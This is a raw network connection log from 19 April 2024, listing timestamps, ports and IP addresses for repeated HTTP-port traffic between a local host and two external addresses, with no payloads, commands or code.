Apr 19, 2024 03:29:10.452591896 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:10.452629089 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:10.452636003 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:10.452636003 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:10.452636003 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:10.452666998 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:10.452703953 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:10.452711105 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:10.452711105 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:10.452743053 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:10.452750921 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:10.452780962 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:10.452819109 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:10.452831030 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:10.452856064 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:10.452892065 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:10.452892065 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:10.452892065 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:10.452931881 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:10.452940941 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:10.452969074 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:10.452970028 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:10.453007936 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:10.453046083 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:10.453052044 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:10.453052998 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:10.453084946 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:10.453098059 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:10.453124046 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:10.453145027 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:10.453161955 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:10.453180075 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:10.453197002 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:10.453253031 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:10.453253031 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:11.263376951 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:11.263787031 CEST	49719	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:11.511527061 CEST	80	49719	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:11.511634111 CEST	49719	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:11.513700008 CEST	80	49716	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:11.513767004 CEST	49716	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:11.518091917 CEST	49719	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:11.765647888 CEST	80	49719	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:11.769224882 CEST	80	49719	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:11.769315958 CEST	49719	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:11.771487951 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:11.771800995 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.013832092 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.014261007 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.014631033 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.014771938 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.018898964 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.260879993 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.260936975 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.260978937 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.261004925 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.261015892 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.261046886 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.261055946 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.261094093 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.261116028 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.261130095 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.261158943 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.261168003 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.261228085 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.261262894 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.261266947 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.261305094 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.261307001 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.261326075 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.261354923 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.503591061 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.503657103 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.503681898 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.503698111 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.503711939 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.503741980 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.503750086 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.503784895 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.503804922 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.503823042 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.503834009 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.503864050 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.503873110 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.503906012 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.503943920 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.503966093 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.503983021 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.504003048 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.504019976 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.504025936 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.504061937 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.504070997 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.504131079 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.504138947 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.504172087 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.504179955 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.504209995 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.504235029 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.504250050 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.504288912 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.504307032 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.504328012 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.504368067 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.504384041 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.504410028 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.504446983 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.504467010 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.746381044 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.746438980 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.746468067 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.746476889 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.746520042 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.746526003 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.746526003 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.746556997 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.746562004 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.746596098 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.746603966 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.746634007 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.746644020 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.746674061 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.746682882 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.746711016 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.746726036 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.746750116 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.746752024 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.746788979 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.746825933 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.746833086 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.746862888 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.746879101 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.746901035 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.746906996 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.746938944 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.746954918 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.746980906 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.746984005 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.747018099 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.747025013 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.747056961 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.747061968 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.747093916 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.747104883 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.747133970 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.747140884 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.747172117 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.747178078 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.747209072 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.747215033 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.747246981 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.747263908 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.747286081 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.747292995 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.747323036 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.747330904 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.747360945 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.747370958 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.747399092 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.747409105 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.747493029 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.747508049 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.747533083 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.747551918 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.747570992 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.747585058 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.747610092 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.747617960 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.747648001 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.747665882 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.747687101 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.747695923 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.747725010 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.747729063 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.747764111 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.747778893 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.747802973 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.747840881 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.747853994 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.747880936 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.747895956 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.747919083 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.747925043 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.747957945 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.747967005 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.748006105 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.990437984 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.990504026 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.990544081 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.990556002 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.990581989 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.990618944 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.990618944 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.990623951 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.990663052 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.990675926 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.990705013 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.990717888 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.990748882 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.990767956 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.990787983 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.990827084 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.990842104 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.990865946 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.990885019 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.990904093 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.990911961 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.990942955 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.990948915 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.990982056 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.990988016 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.991019011 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.991024971 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.991059065 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.991064072 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.991099119 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.991111040 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.991143942 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.991167068 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.991204977 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.991242886 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.991251945 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.991278887 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.991286039 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.991317034 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.991322994 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.991353989 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.991360903 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.991394043 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.991436005 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.991445065 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.991475105 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.991517067 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.991533041 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.991553068 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.991559982 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.991590977 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.991605043 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.991631031 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.991640091 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.991673946 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.991678953 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.991712093 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.991719007 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.991751909 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.991764069 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.991789103 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.991811037 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.991847992 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.991888046 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.991925001 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.991931915 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.991931915 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.991954088 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.991962910 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.991971970 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.992001057 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.992038965 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.992049932 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.992077112 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.992089987 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.992140055 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.992177963 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.992183924 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.992216110 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.992223978 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.992253065 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.992260933 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.992292881 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.992295980 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.992331028 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.992340088 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.992372990 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.992409945 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.992410898 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.992443085 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.992449999 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.992487907 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.992496967 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.992526054 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.992533922 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.992563963 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.992572069 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.992602110 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.992609024 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.992640972 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.992646933 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.992680073 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.992693901 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.992719889 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.992723942 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.992758989 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.992763042 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.992796898 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.992800951 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.992836952 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.992840052 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.992877007 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.992882967 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.992918015 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.992924929 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.992955923 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.992963076 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.992994070 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.993000984 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.993031979 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.993036985 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.993069887 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.993088961 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.993108988 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.993113995 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.993148088 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.993155003 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.993186951 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.993191957 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.993223906 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.993227005 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.993262053 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.993268967 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.993303061 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.993307114 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.993340969 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.993349075 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.993381023 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.993388891 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.993419886 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.993429899 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.993458033 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.993469954 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.993499041 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.993505955 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:12.993536949 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:12.993549109 CEST	49720	80	192.168.2.5	193.233.132.167
